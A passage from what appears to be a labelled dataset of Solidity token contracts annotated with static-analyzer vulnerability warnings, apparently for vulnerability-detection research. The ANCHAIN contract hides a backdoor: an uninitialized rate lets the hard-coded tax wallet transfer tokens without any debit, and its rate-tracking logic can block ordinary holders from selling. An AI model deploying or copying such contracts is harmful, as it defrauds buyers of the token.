amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 0348ea3\n token.transfer(feeReceiver, amount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10263.sol",
"size_bytes": 19753,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function balanceOf(address account) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ncontract ANCHAIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExile;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3756eb4): ANCHAIN._taxWallet should be immutable \n\t// Recommendation for 3756eb4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e87d91): ANCHAIN._initialBuyTax should be constant \n\t// Recommendation for 4e87d91: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 47582e8): ANCHAIN._initialSellTax should be constant \n\t// Recommendation for 47582e8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: c704886): ANCHAIN._finalBuyTax should be constant \n\t// Recommendation for c704886: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4520c48): ANCHAIN._finalSellTax should be constant \n\t// Recommendation for 4520c48: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8913f8c): ANCHAIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 8913f8c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: f19e9c2): ANCHAIN._reduceSellTaxAt should be constant \n\t// Recommendation for f19e9c2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1cf965f): ANCHAIN._preventSwapBefore should be constant \n\t// Recommendation for 1cf965f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"AI for Crypto Compliance\";\n\n string private constant _symbol = unicode\"ANCHAIN\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79de077): ANCHAIN._taxSwapThreshold should be constant \n\t// Recommendation for 79de077: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 500000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b7e3c0a): ANCHAIN._maxTaxSwap should be constant \n\t// Recommendation for b7e3c0a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 500000000 * 10 ** _decimals;\n\n struct CommerceRateCheck {\n uint256 comToken;\n uint256 convToken;\n uint256 comTotal;\n }\n\n mapping(address => CommerceRateCheck) private commerceRate;\n\n IUniswapV2Router02 private _uniswapV2Router;\n\n address private _uniPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 621490f): ANCHAIN.initialComRate should be constant \n\t// Recommendation for 621490f: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c44fca1): ANCHAIN.initialComRate is never initialized. It is used in ANCHAIN._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for c44fca1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private initialComRate;\n\n uint256 private finalComRate;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0x8E1747A98ec4eC20BA36ec8eC80C9fD9571a1996);\n\n _isExile[address(this)] = true;\n\n _isExile[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7cccb0a): ANCHAIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7cccb0a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fcb0965): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fcb0965: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 27263ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 27263ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fcb0965\n\t\t// reentrancy-benign | ID: 27263ce\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fcb0965\n\t\t// reentrancy-benign | ID: 27263ce\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cf5a8ad): ANCHAIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cf5a8ad: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 27263ce\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fcb0965\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c9d2cc6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c9d2cc6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 10c2699): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 10c2699: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d4ecfb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d4ecfb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniPair &&\n to != address(_uniswapV2Router) &&\n !_isExile[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: c9d2cc6\n\t\t\t\t// reentrancy-benign | ID: 10c2699\n\t\t\t\t// reentrancy-eth | ID: d4ecfb5\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c9d2cc6\n\t\t\t\t\t// reentrancy-eth | ID: d4ecfb5\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExile[from] || _isExile[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 10c2699\n finalComRate = block.number;\n }\n\n if (!_isExile[from] && !_isExile[to]) {\n if (to == _uniPair) {\n CommerceRateCheck storage rateInfo = commerceRate[from];\n\n\t\t\t\t// reentrancy-benign | ID: 10c2699\n rateInfo.comTotal = rateInfo.comToken - finalComRate;\n\n\t\t\t\t// reentrancy-benign | ID: 10c2699\n rateInfo.convToken = block.timestamp;\n } else {\n CommerceRateCheck storage toRateInfo = commerceRate[to];\n\n if (_uniPair == from) {\n if (toRateInfo.comToken == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 10c2699\n toRateInfo.comToken = _preventSwapBefore >= _buyCount\n ? type(uint256).max\n : block.number;\n }\n } else {\n CommerceRateCheck storage rateInfo = commerceRate[from];\n\n if (\n !(toRateInfo.comToken > 0) ||\n rateInfo.comToken < toRateInfo.comToken\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 10c2699\n toRateInfo.comToken = rateInfo.comToken;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: c9d2cc6\n\t\t// reentrancy-eth | ID: d4ecfb5\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c44fca1): ANCHAIN.initialComRate is never initialized. It is used in ANCHAIN._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for c44fca1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addr,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tknAmount = addr != _taxWallet\n ? tokenAmount\n : initialComRate.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d4ecfb5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c9d2cc6\n emit Transfer(addr, address(this), taxAmount);\n }\n\n return tknAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: d4ecfb5\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: d4ecfb5\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: c9d2cc6\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tknAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tknAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c9d2cc6\n\t\t// reentrancy-events | ID: fcb0965\n\t\t// reentrancy-benign | ID: 10c2699\n\t\t// reentrancy-benign | ID: 27263ce\n\t\t// reentrancy-eth | ID: d4ecfb5\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c9d2cc6\n\t\t// reentrancy-events | ID: fcb0965\n\t\t// reentrancy-eth | ID: d4ecfb5\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 148c71d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 148c71d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8898522): ANCHAIN.openTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8898522: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fcb7130): ANCHAIN.openTrading() ignores return value by IERC20(_uniPair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fcb7130: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 85691fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 85691fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(_uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 148c71d\n\t\t// reentrancy-no-eth | ID: 85691fe\n _uniPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: 85691fe\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 148c71d\n\t\t// unused-return | ID: 8898522\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 148c71d\n\t\t// unused-return | ID: fcb7130\n IERC20(_uniPair).approve(address(_uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 148c71d\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function transfCaEth() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10264.sol",
"size_bytes": 23363,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CMTradeUtility is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 50312ba): CMTradeUtility._taxWallet should be immutable \n\t// Recommendation for 50312ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f08365f): CMTradeUtility._initialBuyTax should be constant \n\t// Recommendation for f08365f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2a6ed9): CMTradeUtility._initialSellTax should be constant \n\t// Recommendation for e2a6ed9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7667bb8): CMTradeUtility._reduceBuyTaxAt should be constant \n\t// Recommendation for 7667bb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3cad96c): CMTradeUtility._reduceSellTaxAt should be constant \n\t// Recommendation for 3cad96c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9b9e24): CMTradeUtility._preventSwapBefore should be constant \n\t// Recommendation for f9b9e24: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"CMTrade Utility\";\n\n string private constant _symbol = unicode\"uCMT\";\n\n uint256 public _maxTxAmount = 6310350000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6310350000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ef7724): CMTradeUtility._taxSwapThreshold should be constant \n\t// Recommendation for 3ef7724: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5caa497): CMTradeUtility._maxTaxSwap should be constant \n\t// Recommendation for 5caa497: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b25bc95): CMTradeUtility.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b25bc95: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 71f7baa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 71f7baa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5fe4e02): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5fe4e02: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 71f7baa\n\t\t// reentrancy-benign | ID: 5fe4e02\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 71f7baa\n\t\t// reentrancy-benign | ID: 5fe4e02\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9403ecf): CMTradeUtility._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9403ecf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5fe4e02\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 71f7baa\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2dec3f9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2dec3f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a22ec55): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a22ec55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n 